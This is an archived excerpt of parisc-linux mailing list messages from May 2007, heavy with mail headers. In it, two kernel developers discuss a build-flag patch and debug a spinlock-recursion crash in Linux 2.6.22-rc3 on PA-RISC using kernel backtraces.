X-Trace: ger.gmane.org 1416624372 24042 80.91.229.3 (22 Nov 2014 02:46:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@fattire.cabal.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 19:52:50 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx020) with SMTP; 27 May 2007 21:52:50 +0200
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id B596B58408E;
	Sun, 27 May 2007 15:52:48 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 45FF958408C;
	Sun, 27 May 2007 15:52:48 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id F256E837DB; Sun, 27 May 2007 15:52:47 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200705272151.50060.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ptNucVZ3bGI0haaDYmRnbGJncmZ1ZhyR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24588

On Sun, May 27, 2007 at 09:51:49PM +0200, Helge Deller wrote:
> On Sunday 27 May 2007, Kyle McMartin wrote:
> > On Sun, May 27, 2007 at 09:49:21PM +0200, Helge Deller wrote:
> > > [PARISC] Drop -traditional for arch/parisc/kernel
> > > 
> > > Follows i386 & x86_64. Clean up whitespace indenting as well.
> > > 
> > 
> > Er, is this simply "because they did it" or is there some justification
> > behind it?
> 
> Just "because they did".
> 

Ok, I'll go look at why and get back to you.

Cheers,
	Kyle



From - Thu Nov 08 21:35:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of 2.6.22-rc3 ?
Date: Sun, 27 May 2007 16:02:07 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20070527200207.GD28455__48292.1892581091$1416624372$gmane$org@fattire.cabal.ca>
References: <200705271438.57394.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624372 24045 80.91.229.3 (22 Nov 2014 02:46:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@fattire.cabal.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 20:02:09 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx076) with SMTP; 27 May 2007 22:02:09 +0200
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 1445058408E;
	Sun, 27 May 2007 16:02:08 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 9116F58408C;
	Sun, 27 May 2007 16:02:07 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 42CD6837DB; Sun, 27 May 2007 16:02:07 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200705271438.57394.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8JlsLlZkZDI4y7HGdWY2AUVxemhmY8GE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24589

On Sun, May 27, 2007 at 02:38:57PM +0200, Helge Deller wrote:
> Synthesizing the initial hotplug events...done.
> Waiting for /dev to be fully populated...<2>Backtrace:
>  [<1011326c>] unwind_frame_regs+0x48/0x220
>  [<10113578>] unwind_once+0x10/0x48
>  [<1011284c>] get_wchan+0x2c/0x68
>  [<101b9308>] do_task_stat+0x24c/0x500
>  [<101b4f34>] proc_info_read+0x88/0x108
>  [<10179db0>] vfs_read+0x8c/0x138
>  [<1017a10c>] sys_read+0x5c/0xa4
>  [<1010c080>] syscall_exit+0x0/0x28
> BUG: spinlock recursion on CPU#0, udevd/560
>  lock: 1056e08c, .magic: dead4ead, .owner: udevd/560, .owner_cpu: 0
> Backtrace:
>  [<1026c5d0>] _raw_spin_lock+0x50/0xa4
>  [<101076cc>] parisc_terminate+0x58/0xe8
>  [<10107cbc>] handle_interruption+0x560/0x58c
>  [<1010b080>] intr_check_sig+0x0/0x34
> BUG: spinlock lockup on CPU#0, udevd/560, 1056e08c

What compiler version did you use to build?

Cheers,
	Kyle



From - Thu Nov 08 21:35:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of 2.6.22-rc3 ?
Date: Sun, 27 May 2007 22:17:33 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <200705272217.33774.deller__27225.2844101333$1416624373$gmane$org@gmx.de>
References: <200705271438.57394.deller@gmx.de>
	<20070527200207.GD28455@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624373 24046 80.91.229.3 (22 Nov 2014 02:46:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 20:17:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 27 May 2007 22:17:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F26BE7DE5D;
	Sun, 27 May 2007 14:17:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16951-08; Sun, 27 May 2007 14:17:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A91747DE5E;
	Sun, 27 May 2007 14:17:41 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F171A7DE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 14:17:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16996-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 14:17:37 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id B15427DE33
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 14:17:36 -0600 (MDT)
Original-Received: (qmail invoked by alias); 27 May 2007 20:17:35 -0000
Original-Received: from mnhm-590c1a65.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.26.101]
	by mail.gmx.net (mp002) with SMTP; 27 May 2007 22:17:35 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <20070527200207.GD28455@fattire.cabal.ca>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WZ1sLlRkZDI4y7HGdWY2XVFxemhmYwHD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24590

On Sunday 27 May 2007, Kyle McMartin wrote:
> On Sun, May 27, 2007 at 02:38:57PM +0200, Helge Deller wrote:
> > Synthesizing the initial hotplug events...done.
> > Waiting for /dev to be fully populated...<2>Backtrace:
> >  [<1011326c>] unwind_frame_regs+0x48/0x220
> >  [<10113578>] unwind_once+0x10/0x48
> >  [<1011284c>] get_wchan+0x2c/0x68
> >  [<101b9308>] do_task_stat+0x24c/0x500
> >  [<101b4f34>] proc_info_read+0x88/0x108
> >  [<10179db0>] vfs_read+0x8c/0x138
> >  [<1017a10c>] sys_read+0x5c/0xa4
> >  [<1010c080>] syscall_exit+0x0/0x28
> > BUG: spinlock recursion on CPU#0, udevd/560
> >  lock: 1056e08c, .magic: dead4ead, .owner: udevd/560, .owner_cpu: 0
> > Backtrace:
> >  [<1026c5d0>] _raw_spin_lock+0x50/0xa4
> >  [<101076cc>] parisc_terminate+0x58/0xe8
> >  [<10107cbc>] handle_interruption+0x560/0x58c
> >  [<1010b080>] intr_check_sig+0x0/0x34
> > BUG: spinlock lockup on CPU#0, udevd/560, 1056e08c
> 
> What compiler version did you use to build?

hppa-linux-gcc (GCC) 3.3.4 (Debian 1:3.3.4-11)
(cross-compiling from i386 -> parisc 32bit)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of 2.6.22-rc3 ?
Date: Sun, 27 May 2007 16:18:29 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <20070527201829.GF28455__35795.8493791104$1416624373$gmane$org@fattire.cabal.ca>
References: <200705271438.57394.deller@gmx.de> <20070527200207.GD28455@fattire.cabal.ca> <200705272217.33774.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624373 24048 80.91.229.3 (22 Nov 2014 02:46:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@fattire.cabal.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 20:18:32 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx019) with SMTP; 27 May 2007 22:18:32 +0200
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 8D45458408E;
	Sun, 27 May 2007 16:18:30 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 04E7658408C;
	Sun, 27 May 2007 16:18:30 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 99EE9837DC; Sun, 27 May 2007 16:18:29 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200705272217.33774.deller@gmx.de>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: z4IrZltveSE5j76WZHQhYkV2IGRvb4AJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24591

On Sun, May 27, 2007 at 10:17:33PM +0200, Helge Deller wrote:
> On Sunday 27 May 2007, Kyle McMartin wrote:
> > On Sun, May 27, 2007 at 02:38:57PM +0200, Helge Deller wrote:
> > > Synthesizing the initial hotplug events...done.
> > > Waiting for /dev to be fully populated...<2>Backtrace:
> > >  [<1011326c>] unwind_frame_regs+0x48/0x220
> > >  [<10113578>] unwind_once+0x10/0x48
> > >  [<1011284c>] get_wchan+0x2c/0x68
> > >  [<101b9308>] do_task_stat+0x24c/0x500
> > >  [<101b4f34>] proc_info_read+0x88/0x108
> > >  [<10179db0>] vfs_read+0x8c/0x138
> > >  [<1017a10c>] sys_read+0x5c/0xa4
> > >  [<1010c080>] syscall_exit+0x0/0x28
> > > BUG: spinlock recursion on CPU#0, udevd/560
> > >  lock: 1056e08c, .magic: dead4ead, .owner: udevd/560, .owner_cpu: 0
> > > Backtrace:
> > >  [<1026c5d0>] _raw_spin_lock+0x50/0xa4
> > >  [<101076cc>] parisc_terminate+0x58/0xe8
> > >  [<10107cbc>] handle_interruption+0x560/0x58c
> > >  [<1010b080>] intr_check_sig+0x0/0x34
> > > BUG: spinlock lockup on CPU#0, udevd/560, 1056e08c
> > 
> > What compiler version did you use to build?
> 
> hppa-linux-gcc (GCC) 3.3.4 (Debian 1:3.3.4-11)
> (cross-compiling from i386 -> parisc 32bit)
> 

Ok. I'll try to get a machine plugged in this week and take a look.

Hmm, is spinlock debugging enabled? Does it make a difference if you
turn that off?



From - Thu Nov 08 21:35:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of 2.6.22-rc3 ?
Date: Sun, 27 May 2007 22:41:46 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <200705272241.46503.deller__26411.1461969607$1416624373$gmane$org@gmx.de>
References: <200705271438.57394.deller@gmx.de>
	<200705272217.33774.deller@gmx.de>
	<20070527201829.GF28455@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624373 24052 80.91.229.3 (22 Nov 2014 02:46:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 20:42:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 27 May 2007 22:42:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3B49B7DE56;
	Sun, 27 May 2007 14:41:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17332-08; Sun, 27 May 2007 14:41:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A5807DE57;
	Sun, 27 May 2007 14:41:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D190F7DE48
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 14:41:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17332-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 14:41:50 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 98FFA7DE38
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 14:41:49 -0600 (MDT)
Original-Received: (qmail invoked by alias); 27 May 2007 20:41:48 -0000
Original-Received: from mnhm-590c1a65.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.26.101]
	by mail.gmx.net (mp033) with SMTP; 27 May 2007 22:41:48 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <20070527201829.GF28455@fattire.cabal.ca>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LtVscnZERkkerquPfGRq7C1mdWkvKFNp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24592

On Sunday 27 May 2007, you wrote:
> On Sun, May 27, 2007 at 10:17:33PM +0200, Helge Deller wrote:
> > On Sunday 27 May 2007, Kyle McMartin wrote:
> > > On Sun, May 27, 2007 at 02:38:57PM +0200, Helge Deller wrote:
> > > > Synthesizing the initial hotplug events...done.
> > > > Waiting for /dev to be fully populated...<2>Backtrace:
> > > >  [<1011326c>] unwind_frame_regs+0x48/0x220
> > > >  [<10113578>] unwind_once+0x10/0x48
> > > >  [<1011284c>] get_wchan+0x2c/0x68
> > > >  [<101b9308>] do_task_stat+0x24c/0x500
> > > >  [<101b4f34>] proc_info_read+0x88/0x108
> > > >  [<10179db0>] vfs_read+0x8c/0x138
> > > >  [<1017a10c>] sys_read+0x5c/0xa4
> > > >  [<1010c080>] syscall_exit+0x0/0x28
> > > > BUG: spinlock recursion on CPU#0, udevd/560
> > > >  lock: 1056e08c, .magic: dead4ead, .owner: udevd/560, .owner_cpu: 0
> > > > Backtrace:
> > > >  [<1026c5d0>] _raw_spin_lock+0x50/0xa4
> > > >  [<101076cc>] parisc_terminate+0x58/0xe8
> > > >  [<10107cbc>] handle_interruption+0x560/0x58c
> > > >  [<1010b080>] intr_check_sig+0x0/0x34
> > > > BUG: spinlock lockup on CPU#0, udevd/560, 1056e08c
> > > 
> > > What compiler version did you use to build?
> > 
> > hppa-linux-gcc (GCC) 3.3.4 (Debian 1:3.3.4-11)
> > (cross-compiling from i386 -> parisc 32bit)
> > 
> 
> Ok. I'll try to get a machine plugged in this week and take a look.
> 
> Hmm, is spinlock debugging enabled? Does it make a difference if you
> turn that off?

Yes, they were enabled, but turning them off gave the same problem:

Waiting for /dev to be fully populated...
Backtrace:
 [<101124fc>] unwind_frame_regs+0x48/0x220
 [<10112808>] unwind_once+0x10/0x48
 [<10111b34>] get_wchan+0x2c/0x68
 [<101aed2c>] do_task_stat+0x244/0x4f8
 [<101aacb8>] proc_info_read+0x88/0x108
 [<10173d70>] vfs_read+0x8c/0x138
 [<101740cc>] sys_read+0x5c/0xa4
 [<1010c080>] syscall_exit+0x0/0x28
Backtrace:
 [<101124fc>] unwind_frame_regs+0x48/0x220
 [<10112808>] unwind_once+0x10/0x48
 [<10106ea8>] do_show_stack+0x28/0xac
 [<101074f8>] parisc_terminate+0x84/0xc8
 [<10107a9c>] handle_interruption+0x560/0x58c
 [<1010b080>] intr_check_sig+0x0/0x34
(...the last backtrace continues forever...)

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status of 2.6.22-rc3 ?
Date: Sun, 27 May 2007 22:58:44 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <200705272258.44572.deller__8159.56732626564$1416624374$gmane$org@gmx.de>
References: <200705271438.57394.deller@gmx.de>
	<20070527201829.GF28455@fattire.cabal.ca>
	<200705272241.46503.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624374 24053 80.91.229.3 (22 Nov 2014 02:46:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:14 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2007 20:58:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 27 May 2007 22:58:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A6B177DE87;
	Sun, 27 May 2007 14:58:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17595-08; Sun, 27 May 2007 14:58:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4FE387DE79;
	Sun, 27 May 2007 14:58:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D8E77DE75
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 14:58:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17466-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 14:58:48 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id C83337DE5D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 May 2007 14:58:47 -0600 (MDT)
Original-Received: (qmail invoked by alias); 27 May 2007 20:58:46 -0000
Original-Received: from mnhm-590c1a65.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.26.101]
	by mail.gmx.net (mp001) with SMTP; 27 May 2007 22:58:46 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <200705272241.46503.deller@gmx.de>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
